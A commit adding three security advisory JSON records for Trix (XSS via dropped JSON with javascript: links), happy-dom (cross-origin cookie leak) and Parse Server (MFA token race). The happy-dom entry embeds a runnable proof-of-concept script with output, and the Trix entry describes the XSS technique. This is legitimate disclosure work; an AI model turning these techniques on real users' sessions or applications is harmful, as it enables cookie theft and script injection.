Skip to content

Commit 4592abe

Browse files
1 parent 0bf5945 commit 4592abe

3 files changed

Lines changed: 243 additions & 0 deletions

File tree

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-53p3-c7vp-4mcc",
4+
"modified": "2026-03-29T15:22:17Z",
5+
"published": "2026-03-29T15:22:17Z",
6+
"aliases": [],
7+
"summary": "Trix is vulnerable to XSS through JSON deserialization bypass in drag-and-drop (Level0InputController)",
8+
"details": "### Impact\n\nThe Trix editor, in versions prior to 2.1.18, is vulnerable to XSS when a crafted `application/x-trix-document` JSON payload is dropped into the editor in environments using the fallback Level0InputController (e.g., embedded WebViews lacking Input Events Level 2 support).\n\nThe `StringPiece.fromJSON` method trusted `href` attributes from the JSON payload without sanitization. An attacker could craft a draggable element containing a `javascript:` URI in the href attribute that, when dropped into a vulnerable editor, would bypass DOMPurify sanitization and inject executable JavaScript into the DOM.\n\nExploitation requires a specific environment (Level0InputController fallback) and social engineering (victim must drag and drop attacker-controlled content into the editor). Applications using server-side HTML sanitization (such as Rails' built-in sanitizer) are additionally protected, as the payload is neutralized on save.\n\n### Patches\n\nUpdate Recommendation: Users should upgrade to Trix editor version 2.1.18 or later.\n\n\n### References\n\nThe XSS vulnerability was responsibly reported by Hackerone researcher [newbiefromcoma](https://hackerone.com/newbiefromcoma).",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "trix"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2.1.18"
30+
}
31+
]
32+
}
33+
]
34+
},
35+
{
36+
"package": {
37+
"ecosystem": "RubyGems",
38+
"name": "action_text-trix"
39+
},
40+
"ranges": [
41+
{
42+
"type": "ECOSYSTEM",
43+
"events": [
44+
{
45+
"introduced": "0"
46+
},
47+
{
48+
"fixed": "2.1.18"
49+
}
50+
]
51+
}
52+
]
53+
}
54+
],
55+
"references": [
56+
{
57+
"type": "WEB",
58+
"url": "https://github.com/basecamp/trix/security/advisories/GHSA-53p3-c7vp-4mcc"
59+
},
60+
{
61+
"type": "WEB",
62+
"url": "https://github.com/basecamp/trix/commit/9c0a993d9fc2ffe9d56b013b030bc238f9c0557c"
63+
},
64+
{
65+
"type": "PACKAGE",
66+
"url": "https://github.com/basecamp/trix"
67+
},
68+
{
69+
"type": "WEB",
70+
"url": "https://github.com/basecamp/trix/releases/tag/v2.1.18"
71+
}
72+
],
73+
"database_specific": {
74+
"cwe_ids": [
75+
"CWE-79"
76+
],
77+
"severity": "LOW",
78+
"github_reviewed": true,
79+
"github_reviewed_at": "2026-03-29T15:22:17Z",
80+
"nvd_published_at": null
81+
}
82+
}
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-w4gp-fjgq-3q4g",
4+
"modified": "2026-03-29T15:23:57Z",
5+
"published": "2026-03-29T15:23:57Z",
6+
"aliases": [
7+
"CVE-2026-34226"
8+
],
9+
"summary": "Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies",
10+
"details": "### Summary\n`happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B.\n\n### Details\nIn [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`:\n\n```ts\nconst originURL = new URL(options.window.location.href);\nconst isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);\n// ...\nconst cookies = options.browserFrame.page.context.cookieContainer.getCookies(\n originURL,\n false\n);\n```\n\nHere, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`).\n\n### PoC Script Content\n\n```javascript\nconst http = require('http');\nconst dns = require('dns').promises;\nconst { Browser } = require('happy-dom');\n\nasync function listen(server, host) {\n return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));\n}\n\nasync function run() {\n let observedCookieHeader = null;\n const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';\n const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';\n\n console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');\n console.log('Setup:');\n console.log(` Page Origin Host : ${pageHost}`);\n console.log(` Request Target Host: ${apiHost}`);\n console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)');\n console.log('');\n\n await dns.lookup(pageHost);\n await dns.lookup(apiHost);\n\n const pageServer = http.createServer((req, res) => {\n res.writeHead(200, { 'content-type': 'text/plain' });\n res.end('page host');\n });\n\n const apiServer = http.createServer((req, res) => {\n observedCookieHeader = req.headers.cookie || '';\n const origin = req.headers.origin || '';\n res.writeHead(200, {\n 'content-type': 'application/json',\n 'access-control-allow-origin': origin,\n 'access-control-allow-credentials': 'true'\n });\n res.end(JSON.stringify({ ok: true }));\n });\n\n const pagePort = await listen(pageServer, '127.0.0.1');\n const apiPort = await listen(apiServer, '127.0.0.1');\n\n const browser = new Browser();\n\n try {\n const context = browser.defaultContext;\n\n // Page host: pageHost (local DNS)\n const page = context.newPage();\n page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;\n page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';\n\n // Target host: apiHost (local DNS)\n const apiSeedPage = context.newPage();\n apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;\n apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';\n\n // Trigger cross-host request with credentials.\n const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {\n credentials: 'include'\n });\n await res.text();\n\n const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');\n const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');\n\n console.log('Expected:');\n console.log(' Request to target host should include \"api_cookie=API_ONLY\".');\n console.log(' Request should NOT include \"page_cookie=PAGE_ONLY\".');\n console.log('');\n\n console.log('Actual:');\n console.log(` request cookie header: \"${observedCookieHeader || '(empty)'}\"`);\n console.log(` includes page_cookie: ${leakedPageCookie}`);\n console.log(` includes api_cookie : ${expectedApiCookie}`);\n console.log('');\n\n if (leakedPageCookie && !expectedApiCookie) {\n console.log('Result: VULNERABLE behavior reproduced.');\n process.exitCode = 0;\n } else {\n console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');\n process.exitCode = 1;\n }\n } finally {\n await browser.close();\n pageServer.close();\n apiServer.close();\n }\n}\n\nrun().catch((error) => {\n console.error(error);\n process.exit(1);\n});\n\n```\n\n\nEnvironment:\n1. Node.js >= 22\n2. `happy-dom` 20.6.1\n3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io`\n\nReproduction steps:\n1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io`\n2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io`\n3. From page host, call fetch to target host with `credentials: \"include\"`\n4. Observe `Cookie` header received by the target host\n\nExpected:\n1. Include `api_cookie=API_ONLY`\n2. Do not include `page_cookie=PAGE_ONLY`\n\nActual (observed):\n1. Includes `page_cookie=PAGE_ONLY`\n2. Does not include `api_cookie=API_ONLY`\n\nObserved output:\n```text\n=== PoC: Wrong Cookie Source URL in credentials:include ===\nSetup:\n Page Origin Host : a.127.0.0.1.nip.io\n Request Target Host: b.127.0.0.1.nip.io\n (both resolve to 127.0.0.1 via public wildcard DNS)\n\nExpected:\n Request to target host should include \"api_cookie=API_ONLY\".\n Request should NOT include \"page_cookie=PAGE_ONLY\".\n\nActual:\n request cookie header: \"page_cookie=PAGE_ONLY\"\n includes page_cookie: true\n includes api_cookie : false\n\nResult: VULNERABLE behavior reproduced.\n```\n\n### Impact\nCross-origin sensitive information disclosure (cookie leakage).\nImpacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "happy-dom"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "20.8.9"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34226"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/capricorn86/happy-dom/pull/2117"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/capricorn86/happy-dom"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts"
62+
},
63+
{
64+
"type": "WEB",
65+
"url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9"
66+
}
67+
],
68+
"database_specific": {
69+
"cwe_ids": [
70+
"CWE-201"
71+
],
72+
"severity": "HIGH",
73+
"github_reviewed": true,
74+
"github_reviewed_at": "2026-03-29T15:23:57Z",
75+
"nvd_published_at": "2026-03-27T22:16:23Z"
76+
}
77+
}
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-w73w-g5xw-rwhf",
4+
"modified": "2026-03-29T15:23:03Z",
5+
"published": "2026-03-29T15:23:03Z",
6+
"aliases": [
7+
"CVE-2026-34224"
8+
],
9+
"summary": "Parse Server has an MFA single-use token bypass via concurrent authData login requests",
10+
"details": "### Impact\n\nAn attacker who possesses a valid authentication provider token and a single MFA recovery code or SMS one-time password can create multiple authenticated sessions by sending concurrent login requests via the authData login endpoint. This defeats the single-use guarantee of MFA recovery codes and SMS one-time passwords, allowing session persistence even after the legitimate user revokes detected sessions.\n\n### Patches\n\nThe fix adds optimistic locking to the authData login path, ensuring that concurrent database updates for the same user fail when the original MFA token array has already been modified by another request.\n\n### Workarounds\n\nThere is no known workaround.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "parse-server"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "9.0.0"
29+
},
30+
{
31+
"fixed": "9.7.0-alpha.8"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "parse-server"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"fixed": "8.6.64"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-w73w-g5xw-rwhf"
61+
},
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/parse-community/parse-server/pull/10326"
65+
},
66+
{
67+
"type": "WEB",
68+
"url": "https://github.com/parse-community/parse-server/pull/10327"
69+
},
70+
{
71+
"type": "PACKAGE",
72+
"url": "https://github.com/parse-community/parse-server"
73+
}
74+
],
75+
"database_specific": {
76+
"cwe_ids": [
77+
"CWE-367"
78+
],
79+
"severity": "LOW",
80+
"github_reviewed": true,
81+
"github_reviewed_at": "2026-03-29T15:23:03Z",
82+
"nvd_published_at": null
83+
}
84+
}

0 commit comments

Comments
 (0)